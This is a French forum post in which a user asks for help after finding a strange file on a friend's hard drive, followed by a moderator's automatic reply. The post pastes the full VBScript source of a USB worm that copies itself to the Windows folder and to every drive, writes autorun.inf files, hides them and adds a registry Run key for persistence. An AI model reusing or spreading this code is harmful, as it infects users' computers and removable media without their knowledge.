S@lut tout le Monde !

Je suis quasiment sûr que vous pouvez répondre à ce petit problème !
Ne vous inquiétez pas, je cherche une solution aussi !



Il y a peu de temps, sur le PC d'un ami, j'ai vu que pour ouvrir son Disque Dur, il ne procédait pas comme d'habitude !



Il devait faire " Clique-droit " et " Ouvrir " !

Quand soudain, je vis cela :



Je me suis d'abord demandé ce que c'étais lorsque je décidais alors de l'ouvrir avec le " Bloc-Notes "
Et je vis cela comme code !

'My name is slow but sure v0.04
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,check,sd
atr = "[autorun]"&vbclrf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf atributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path<> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path&"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&",winpath&"\MS32DLL.dll.vbs
"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Godzolla"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobjet("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

C'est quelque chose d'incroyable !
Si vous avez la Solution ! Faut la dire parce que mon " Copain " est en train de tout casser !

Voilà ! A vos idées et vos solutions !

Le message qui suit est une réponse automatique activée par un modérateur.
Les réponses automatiques permettent d'éviter aux modérateurs d'avoir à répéter de nombreuses fois la même chose, et donc de leur faire gagner beaucoup de temps.
Nous sommes néanmoins ouverts et si vous avez une question ou une remarque, n'hésitez pas à contacter le modérateur en question par MP.